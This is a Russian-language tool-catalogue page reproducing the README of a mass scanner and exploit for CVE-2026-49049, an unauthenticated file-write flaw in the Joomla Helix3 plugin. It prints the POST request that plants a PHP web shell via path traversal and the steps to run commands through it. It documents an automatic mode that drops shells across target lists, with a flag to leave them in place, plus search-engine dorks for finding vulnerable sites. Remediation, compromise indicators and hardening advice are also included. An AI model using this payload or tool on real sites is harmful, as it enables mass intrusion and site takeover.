Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/exdev994/cve-2026-49049
РазведкаСканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubexdev994/cve-2026-49049

CVE-2026-49049

CVE-2026-49049 Сканер неаутентифицированной AJAX RCE-уязвимости Joomla Helix3 (JoomShaper)

Репозиторий
21 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-49049 — сканер неаутентифицированной AJAX RCE для Helix3 (JoomShaper) Joomla

CVE CVSS Python License Author

Массовый сканер / верификатор для CVE-2026-49049: неаутентифицированный AJAX-обработчик в плагине Helix3 Framework для Joomla (v1.0 – 3.1.0, исправлено в 3.1.1+).

Только авторизованное тестирование. Используйте только на системах, которыми владеете или на тестирование которых имеете письменное разрешение.


Содержание

  • Обзор уязвимости
  • Цепочка RCE
  • Установка
  • Использование (Usage)
  • Пример вывода
  • Разведывательные дорки
  • Устранение (Remediation)
  • Структура проекта
  • Участие в разработке
  • Ссылки
  • Отказ от ответственности

Обзор уязвимости

Обработчик onAjaxHelix3() в plugins/ajax/helix3/helix3.php доступен через Joomla com_ajax без аутентификации / CSRF-токена:

root@kitploit:~
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded

data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>

Цепочка RCE

При активной массовой эксплуатации в дикой природе часто размещают веб-шелл с двойным расширением:

  1. Обнаружение Helix3 + версии < 3.1.1
  2. save с layoutName=../../up.php + содержимое PHP-веб-шелла
  3. Сохранение добавляет .json → up.php.json оказывается в корне веб-сайта
  4. Многорасширенный AddHandler Apache выполняет .php-часть
  5. GET /up.php.json?cmd=id → uid=33(www-data) = SHELL OK
root@kitploit:~
Detect Helix3
    → POST com_ajax?plugin=helix3 (action=save, traversal)
    → up.php.json written
    → GET up.php.json?cmd=id
    → uid=33(www-data)

Установка

root@kitploit:~
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt

Требования: requests>=2.31.0, colorama>=0.4.6, Python 3.9+.


Использование (Usage)

1. Подготовьте цель

Отредактируйте targets.txt — один URL / хост на строку (# = комментарий). Путь Joomla сохраняется:

root@kitploit:~
# contoh
https://example.com/
https://example.com/joomla/
http://192.168.1.50/

2. Сканирование только на чтение (только обнаружение)

Не загружает веб-шелл. Проверяет версию + пробует save / remove / import:

root@kitploit:~
python3 scan.py -f targets.txt --scan -o results.txt

3. Auto: обнаружение + загрузка веб-шелла + проверка RCE

root@kitploit:~
python3 scan.py -f targets.txt --auto -c "id" -o results.txt

4. Одиночная цель

root@kitploit:~
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"

5. Дополнительные опции

root@kitploit:~
# Keep webshell setelah verify (demo authorized)
python3 scan.py -f targets.txt --auto --keep

# Custom webshell name + traversal depths
python3 scan.py -f targets.txt --auto \
  --webshell-name up.php \
  --traversal-depths "../../,../../../"

# JSON report + concurrency
python3 scan.py -f targets.txt --auto -c "whoami" \
  --threads 20 --timeout 15 \
  -o results.txt --json report.json

# Proxy (Burp / etc)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080

Важные флаги

Предупреждение: режим --auto пытается записать веб-шелл через path traversal. По умолчанию веб-шелл удаляется после проверки. Используйте --keep только для авторизованных демонстраций.


Пример вывода

Терминал отображает все статусы (ход выполнения). results.txt содержит только уязвимые цели:

root@kitploit:~
[v] CVE-2026-49049 SHELL OK  https://target.tld  Helix3 2.5.6  save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
    shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell)         https://target.tld  Helix3 3.0.2  save=Y remove=Y import=Y

Остальные метки (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) видны только в терминале и не попадают в results.txt.


Разведывательные дорки

Используйте дорки ниже, чтобы найти потенциально затронутые активы Helix3 / Joomla. Сканируйте только разрешённые цели.

Google

root@kitploit:~
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/

Shodan

root@kitploit:~
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"

FOFA

root@kitploit:~
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"

Ручное определение отпечатка (после получения хоста)

root@kitploit:~
# Version check
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version

# Unauth save probe (authorized only)
curl -sk -X POST \
  'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'

Устранение (Remediation)

1. Немедленно установите патч (обязательно)

Обновите плагины System – Helix3 Framework и Helix3 – Ajax до версии 3.1.1 или новее (рекомендуется 3.1.2).

  • Бэкенд Joomla → System → Update / Extensions
  • Либо загрузите официальный пакет с JoomShaper и установите вручную

2. Если сайт уже скомпрометирован / дефейснут

Обновление не удаляет payload, уже попавшие в базу данных.

  1. Бэкенд → Site Template Styles → активный шаблон Helix3
  2. Откройте Custom Code — удалите посторонние скрипты в Custom JavaScript / CSS / Before Head
  3. Проверьте таблицу #__template_styles, колонку params, на предмет инъекций custom_js / custom_css
  4. Удалите подозрительные файлы в web root / templates / tmp / media:
    • up.php.json, cox.json, *.php.json, другие веб-шеллы
  5. Смените учётные данные администратора, проверьте учётные записи пользователей, проведите аудит cron / запланированных задач

Общие признаки компрометации: дефейс "Hacked by AntonKill" / "trenggalek6etar", инъекции custom_js, неизвестные JSON-файлы.

3. Укрепление (защита в глубину)

Apache — не используйте AddHandler с несколькими расширениями; используйте:

root@kitploit:~
<FilesMatch "\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>

Nginx:

root@kitploit:~
location ~ \.php$ {
    try_files $uri =404;
    fastcgi_pass unix:/run/php/php-fpm.sock;
}

PHP php.ini:

root@kitploit:~
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec

Загрузка / запись файлов: перегенерируйте имена файлов, запретите расширения с несколькими точками, AllowOverride None в публичных каталогах.

4. Проверка после установки патча

root@kitploit:~
python3 scan.py -t https://YOUR-SITE/ --scan
# Expected: PATCHED  Helix3 3.1.1+  (atau NOT_HELIX3 jika plugin di-uninstall)

Структура проекта

root@kitploit:~
CVE-2026-49049/
├── scan.py              # CLI entry point
├── core/
│   ├── engine.py        # ThreadPoolExecutor + results (vuln-only to file)
│   ├── probe.py         # Helix3 detect + save/remove/import + RCE drop
│   └── target.py        # Parse / normalize targets.txt
├── utils/
│   └── banner.py
├── targets.txt          # Input targets
├── results.txt          # Generated (VULN / SHELL_OK only)
├── requirements.txt
└── README.md

Участие в разработке

Вклады сообщества приветствуются. Мейнтейнер: ExDev994.

Рекомендации

  • Не коммитьте живые цели / результаты сканирования / веб-шеллы / учётные данные
  • Не убирайте предупреждение «authorized testing only»
  • Предпочитайте небольшие PR (одна задача на PR)
  • Следуйте существующему стилю Python (from __future__ import annotations, аннотации типов)
  • Проверяйте локально: python3 -m py_compile scan.py core/*.py utils/*.py и python3 scan.py --help

Проблемы (Issues)

Сообщайте об ошибках / запросах функций в Issues. Указывайте:

  • Версию Python и ОС
  • Выполняемую команду
  • Вывод / traceback (замаскируйте чувствительные цели)

Авторы

АвторРоль
ExDev994Автор / мейнтейнер

Уязвимость первоначально сообщена Phil Taylor (mySites.guru). Этот репозиторий является независимой реализацией сканера и не связан с JoomShaper или Open Source Matters.


Ссылки

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-49049
  • Advisory (mySites.guru): https://mysites.guru/blog/helix3-security-update-changelog-failure/
  • JoomShaper Helix3: https://www.joomshaper.com/
  • Read-only PoC reference: https://github.com/shinthink/CVE-2026-49049
  • This repo: https://github.com/ExDev994/CVE-2026-49049

Отказ от ответственности

Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности.

Несанкционированный доступ к компьютерным системам незаконен и может нарушать законы, включая индонезийский UU ITE, американский CFAA и аналогичные законодательные акты в других юрисдикциях.

Автор (ExDev994) не несёт ответственности за неправомерное использование. Используя данное программное обеспечение, вы принимаете на себя полную ответственность за свои действия. Режим --auto загружает временный веб-шелл — используйте только на авторизованных целях.

Скачать инструмент
ДействиеВлияниеВерсии
saveПроизвольная запись JSON-файла + path traversal1.0 – 3.1.0
removeПроизвольное удаление файла (без ограничений по расширению/пути)1.0 – 3.1.0
importПерезапись параметров шаблона в БД (custom_js без экранирования → XSS/дефейс)только v3.x
Версия Helix3save / removeimportСтатус
1.0 – 2.xУязвимаОтсутствуетУязвима
3.0 – 3.1.0УязвимаУязвимаУязвима
3.1.1+ИсправленаИсправленаБезопасна
ФлагОписание
-f / --fileФайл со списком целей (по умолчанию: targets.txt, если -t отсутствует)
-t / --targetURL одиночной цели
--scanОбнаружение только на чтение
--autoОбнаружение + проверка RCE (по умолчанию)
-c / --cmdКоманда для проверки (по умолчанию: id)
-o / --outputФайл результатов — только цели VULN / SHELL_OK
--jsonСтруктурированный отчёт в JSON
--keepНе удалять веб-шелл автоматически после проверки
--threadsКоличество параллельных потоков (по умолчанию: 15)
--timeoutТаймаут HTTP в секундах (по умолчанию: 15)